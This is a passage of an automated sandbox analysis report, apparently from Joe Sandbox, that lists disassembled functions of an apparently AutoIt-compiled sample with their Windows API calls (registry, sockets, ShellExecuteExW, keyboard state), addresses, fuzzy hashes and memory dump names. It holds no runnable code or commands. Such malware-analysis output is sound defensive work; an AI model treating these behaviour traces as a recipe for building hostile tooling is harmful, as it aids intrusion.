Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: e4d4c7f76a1fd6d91f0872501ed12b067b172c710233af59865ebcbd69f5d6b9
Instruction ID: 7e112895b854d0434fda04f98f839ad56736e630c6b656b9ff750878cc3542d2
Opcode Fuzzy Hash: e4d4c7f76a1fd6d91f0872501ed12b067b172c710233af59865ebcbd69f5d6b9
Instruction Fuzzy Hash: 5A0131F6900208BFEB21ABA4DD89EF7776CD709304F4084A1B747E2451EA789E848F75

Function 00782B19 Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00783C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00782BB5,?,?), ref: 00783C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00782BF6

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper
String ID:
API String ID: 2595220575-0
Opcode ID: 4f151ffac5df2ad66526ee908e3cfddfabd70a11805607ca049a267972b1037c
Instruction ID: d5ebdc9a3fb88db61c38c150f20ea52fb6a6c7ce63276a73891c1fb541d19845
Opcode Fuzzy Hash: 4f151ffac5df2ad66526ee908e3cfddfabd70a11805607ca049a267972b1037c
Instruction Fuzzy Hash: F6915B71204201DFCB15EF54C899B6EBBE5BF98310F04881DF99697292DB38ED06CB52

Function 007795BF Relevance: 12.2, APIs: 8, Instructions: 247networkCOMMON

Download Yara Rule

APIs

select.WSOCK32 ref: 00779691
WSAGetLastError.WSOCK32(00000000), ref: 0077969E
__WSAFDIsSet.WSOCK32(00000000,?), ref: 007796C8
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 007796E9
WSAGetLastError.WSOCK32(00000000), ref: 007796F8
htons.WSOCK32(?), ref: 007797AA
inet_ntoa.WSOCK32(?), ref: 00779765

Part of subcall function 0075D2FF: _strlen.LIBCMT ref: 0075D309

_strlen.LIBCMT ref: 00779800

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorLast_strlen$htonsinet_ntoaselect
String ID:
API String ID: 3480843537-0
Opcode ID: c50b5b517394b949425c102a5f63c02cd00af69effe2ff79b9795b112a786bfc
Instruction ID: 2c28c1fc8df1b786b88066c0789548843cfe27c2c4be20bc7e45e4fcc7e9cb94
Opcode Fuzzy Hash: c50b5b517394b949425c102a5f63c02cd00af69effe2ff79b9795b112a786bfc
Instruction Fuzzy Hash: F881E171504240EBD724EF64DC89E6BB7E8EF85710F10861DF55A9B292EB38DD04CB92

Function 0074A979 Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtinitlocknum.LIBCMT ref: 0074A991

Part of subcall function 00747D7C: __FF_MSGBANNER.LIBCMT ref: 00747D91
Part of subcall function 00747D7C: __NMSG_WRITE.LIBCMT ref: 00747D98
Part of subcall function 00747D7C: __malloc_crt.LIBCMT ref: 00747DB8

__lock.LIBCMT ref: 0074A9A4
__lock.LIBCMT ref: 0074A9F0
InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,007D6DE0,00000018,00755E7B,?,00000000,00000109), ref: 0074AA0C
EnterCriticalSection.KERNEL32(8000000C,007D6DE0,00000018,00755E7B,?,00000000,00000109), ref: 0074AA29
LeaveCriticalSection.KERNEL32(8000000C), ref: 0074AA39

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
String ID:
API String ID: 1422805418-0
Opcode ID: 31e4430d4986ce5bde79f636a41ea4f034d26f11a7a907323fe85e1f54207490
Instruction ID: 691f17e47ddb9ed3b3f838c412bf88fb370b87a10fb5aef588662235543ad833
Opcode Fuzzy Hash: 31e4430d4986ce5bde79f636a41ea4f034d26f11a7a907323fe85e1f54207490
Instruction Fuzzy Hash: D3412871B41202EBEB14DF68D98475CB7B0AF05325F10C219E425AB2D2DBBC9C40CB96

Function 00788ECC Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00788EE4
GetDC.USER32(00000000), ref: 00788EEC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00788EF7
ReleaseDC.USER32(00000000,00000000), ref: 00788F03
CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00788F3F
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00788F50
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0078BD19,?,?,000000FF,00000000,?,000000FF,?), ref: 00788F8A
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00788FAA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 2f61971bbf70d7b81fe014a57d76ed59560ba9bf33ffe601049ddd52178830be
Instruction ID: cce2f7a825bf39b56c682652a4fcc4856fb515f70bb974ba513a9e4703e620c6
Opcode Fuzzy Hash: 2f61971bbf70d7b81fe014a57d76ed59560ba9bf33ffe601049ddd52178830be
Instruction Fuzzy Hash: 45316D72240214BFEB209F50CC49FEB3BA9EF8A755F048065FE099A191DA799C41CB74

Function 00790133 Relevance: 10.7, APIs: 7, Instructions: 245windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

GetSystemMetrics.USER32(0000000F), ref: 0079016D
MoveWindow.USER32(00000003,?,00000000,00000001,00000000,00000000,?,?,?), ref: 0079038D
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 007903AB
InvalidateRect.USER32(?,00000000,00000001,?), ref: 007903D6
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 007903FF
ShowWindow.USER32(00000003,00000000), ref: 00790421
DefDlgProcW.USER32(?,00000005,?,?), ref: 00790440

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
String ID:
API String ID: 3356174886-0
Opcode ID: 711ee1827b50adac7da1e1e7510d045faa0b32d2b32fd09adcb3477f198178af
Instruction ID: d243611d37abe9d269011c8c670f2bb5b27e508dd4a3b10b12a24cc9e50de338
Opcode Fuzzy Hash: 711ee1827b50adac7da1e1e7510d045faa0b32d2b32fd09adcb3477f198178af
Instruction Fuzzy Hash: 85A1AD35600616EFDF18CF68D9897BDBBB1BF48740F048119ED55AB290DB38AD60CB90

Function 0073AE78 Relevance: 10.7, APIs: 7, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46220d7644419a71e83e96c08a81cbc13dd77bd7c54fbbf65857915233736a13
Instruction ID: 91151b0b2903c111d1a70bf59d4450c94f67fc7c335d1509f75b61835c0a31a1
Opcode Fuzzy Hash: 46220d7644419a71e83e96c08a81cbc13dd77bd7c54fbbf65857915233736a13
Instruction Fuzzy Hash: 16716BB190010AFFDF14CF98CC89AAEBB78FF85310F148159F955A6252C738EA41CB65

Function 00782230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0078225A
_memset.LIBCMT ref: 00782323
ShellExecuteExW.SHELL32(?), ref: 00782368

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

Part of subcall function 0073C6F4: _wcscpy.LIBCMT ref: 0073C717

CloseHandle.KERNEL32(00000000), ref: 0078242F
FreeLibrary.KERNEL32(00000000), ref: 0078243E

Strings

@, xrefs: 00782334

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
String ID: @
API String ID: 4082843840-2766056989
Opcode ID: a7846c37a5265c85ea488c9dbc38b8daffb6c9cd643e2e320dabc14f5006e7d3
Instruction ID: 29ebd7df4f128352910685611a71840a75f504231fd03cb411569046b8172567
Opcode Fuzzy Hash: a7846c37a5265c85ea488c9dbc38b8daffb6c9cd643e2e320dabc14f5006e7d3
Instruction Fuzzy Hash: 29719F70A00629DFCF05EFA4D8959AEB7F5FF48310F118059E85AAB352CB38AD41CB94

Function 00763DA8 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00763DE7
GetKeyboardState.USER32(?), ref: 00763DFC
SetKeyboardState.USER32(?), ref: 00763E5D
PostMessageW.USER32(?,00000101,00000010,?), ref: 00763E8B
PostMessageW.USER32(?,00000101,00000011,?), ref: 00763EAA
PostMessageW.USER32(?,00000101,00000012,?), ref: 00763EF0
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00763F13

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: ad8aeb29aa74d82a3ee36789b6fa7bee2c790ba07fddcb5c1167a47e2e42fd69
Instruction ID: c3af9e872648d7c372faefe660f90c1ed6b6c55767b06d4d9e9aa21893917ba3
Opcode Fuzzy Hash: ad8aeb29aa74d82a3ee36789b6fa7bee2c790ba07fddcb5c1167a47e2e42fd69
Instruction Fuzzy Hash: B051B1A0A047D53DFB364734CC59BBA7EA95B06304F088589F8D6568C3D3ADAEC8D760

Function 00763BC3 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00763C02
GetKeyboardState.USER32(?), ref: 00763C17
SetKeyboardState.USER32(?), ref: 00763C78
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00763CA4
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00763CC1
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00763D05
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00763D26

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 9d92caf115eaaaf014d584bc6482d5cfffa81f7bd0130c214da6b9d309443382
Instruction ID: 17c68a853f4bb4295e5b1afd298ba0e8e87084f6268518d3d248a8a4b11ce372
Opcode Fuzzy Hash: 9d92caf115eaaaf014d584bc6482d5cfffa81f7bd0130c214da6b9d309443382
Instruction Fuzzy Hash: AC51E8A06047D53DFB3687248C55BB6BFA95B06300F0C8489F9D75A8C2D79CEE94D760

Function 00767DB1 Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00767DBE
_wcsncpy.LIBCMT ref: 00767DF3
_wcsncpy.LIBCMT ref: 00767E25
_wcsncpy.LIBCMT ref: 00767E58
_wcsncpy.LIBCMT ref: 00767E9A
_wcsncpy.LIBCMT ref: 00767ED4
_wcsncpy.LIBCMT ref: 00767F03

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 138dc5511cd7e9e937c4e8a14869e23b5f5ddab4de5829aa7e98d0fa0b94dd33
Instruction ID: 62e022b96815cd613a3ef1619028bac5829799401a4c25cca2217f5d1f986c92
Opcode Fuzzy Hash: 138dc5511cd7e9e937c4e8a14869e23b5f5ddab4de5829aa7e98d0fa0b94dd33
Instruction Fuzzy Hash: A2416066C10214F6CB50EBF4888A9CFB3AC9F45710F5089A6E915E3122FB38E655C7A6

Function 00783D72 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 00783DA1
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00783DCB
FreeLibrary.KERNEL32(00000000), ref: 00783E80

Part of subcall function 00783D72: RegCloseKey.ADVAPI32(?), ref: 00783DE8
Part of subcall function 00783D72: FreeLibrary.KERNEL32(?), ref: 00783E3A
Part of subcall function 00783D72: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00783E5D

RegDeleteKeyW.ADVAPI32(?,?), ref: 00783E25

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 44d9e99410ab95a5b903f4cda4664f8750319248296c6fd13f833db211c6449f
Instruction ID: c88aa9693d82125907a73de038c62038d2948c12c793565813fedee7dd452d2c
Opcode Fuzzy Hash: 44d9e99410ab95a5b903f4cda4664f8750319248296c6fd13f833db211c6449f
Instruction Fuzzy Hash: 12311AB1941109BFDB15AF94DC89EFFB7BCEF09701F00416AE512E2150E6789F899BA0

Function 00788FC8 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00788FE7
GetWindowLongW.USER32(00D7E868,000000F0), ref: 0078901A
GetWindowLongW.USER32(00D7E868,000000F0), ref: 0078904F
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00789081
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 007890AB
GetWindowLongW.USER32(00000000,000000F0), ref: 007890BC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 007890D6

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 6a73eb44942d85c4655aff627b8cf9b1a1fd1f7691b760ccf614e6ac1c31875f
Instruction ID: cedbabbff401a9b56ac1902190b9d93827a5842764ad73e30d7213795b28fa9e
Opcode Fuzzy Hash: 6a73eb44942d85c4655aff627b8cf9b1a1fd1f7691b760ccf614e6ac1c31875f
Instruction Fuzzy Hash: 8D316734280216EFDB21DF58DC89F6437A5FB8A354F1881A4F60A8F2B1CB79AC00CB45

Function 007608AF Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 007608F2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00760918
SysAllocString.OLEAUT32(00000000), ref: 0076091B
SysAllocString.OLEAUT32(?), ref: 00760939
SysFreeString.OLEAUT32(?), ref: 00760942
StringFromGUID2.OLE32(?,?,00000028), ref: 00760967
SysAllocString.OLEAUT32(?), ref: 00760975

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: eefc1d8c7a2050486290a4a3f3357cf021e16233e317bf99be93c50ba7bb9325
Instruction ID: 628ed8891e001f91a33467d55811557c4410b4099354c1354437ef42fe14c64e
Opcode Fuzzy Hash: eefc1d8c7a2050486290a4a3f3357cf021e16233e317bf99be93c50ba7bb9325
Instruction Fuzzy Hash: 0B21A776601319AFAB109F78CC88DBB73ACEB09360B008125FD16DB251D678EC45CBA4

Function 00762472 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00762485
__wcsnicmp.LIBCMT ref: 007624A6
__wcsnicmp.LIBCMT ref: 007624C0

Strings

#notrayicon, xrefs: 0076247D
#requireadmin, xrefs: 007624A0
#OnAutoItStartRegister, xrefs: 007624BA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 52e64457a372b60315da13398cd25553db0c3e12ed349ee603217118b68d4c94
Instruction ID: 5b3fa52193004dcadd49606288927e02c605c03fef8d23361fe39fffda6b4cf1
Opcode Fuzzy Hash: 52e64457a372b60315da13398cd25553db0c3e12ed349ee603217118b68d4c94
Instruction Fuzzy Hash: 0B216A72244A51E7D231A6349C1AFBB7798EF65310F604026FC4797043EB5D9D53C3A5

Function 00760986 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 007609CB
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 007609F1
SysAllocString.OLEAUT32(00000000), ref: 007609F4
SysAllocString.OLEAUT32 ref: 00760A15
SysFreeString.OLEAUT32 ref: 00760A1E
StringFromGUID2.OLE32(?,?,00000028), ref: 00760A38
SysAllocString.OLEAUT32(?), ref: 00760A46

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: a057ecd516d6f7a4af55340d185d0b1f7b28c5bc43f80248be207e6f749970b1
Instruction ID: 51ea603bd02f5d54fc84ee25a3182f4a9d2e491efa2443b26c4d4d697bc223a3
Opcode Fuzzy Hash: a057ecd516d6f7a4af55340d185d0b1f7b28c5bc43f80248be207e6f749970b1
Instruction Fuzzy Hash: 7C213275604204AF9B10DBE8DC89DAB77ECEF493A0744C125FD4ACB261E678EC458B64

Function 0078A2C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0073D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0073D1BA
Part of subcall function 0073D17C: GetStockObject.GDI32(00000011), ref: 0073D1CE
Part of subcall function 0073D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 0073D1D8

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 0078A32D
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0078A33A
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0078A345
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 0078A354
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 0078A360

Strings

Msctls_Progress32, xrefs: 0078A2FE

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity
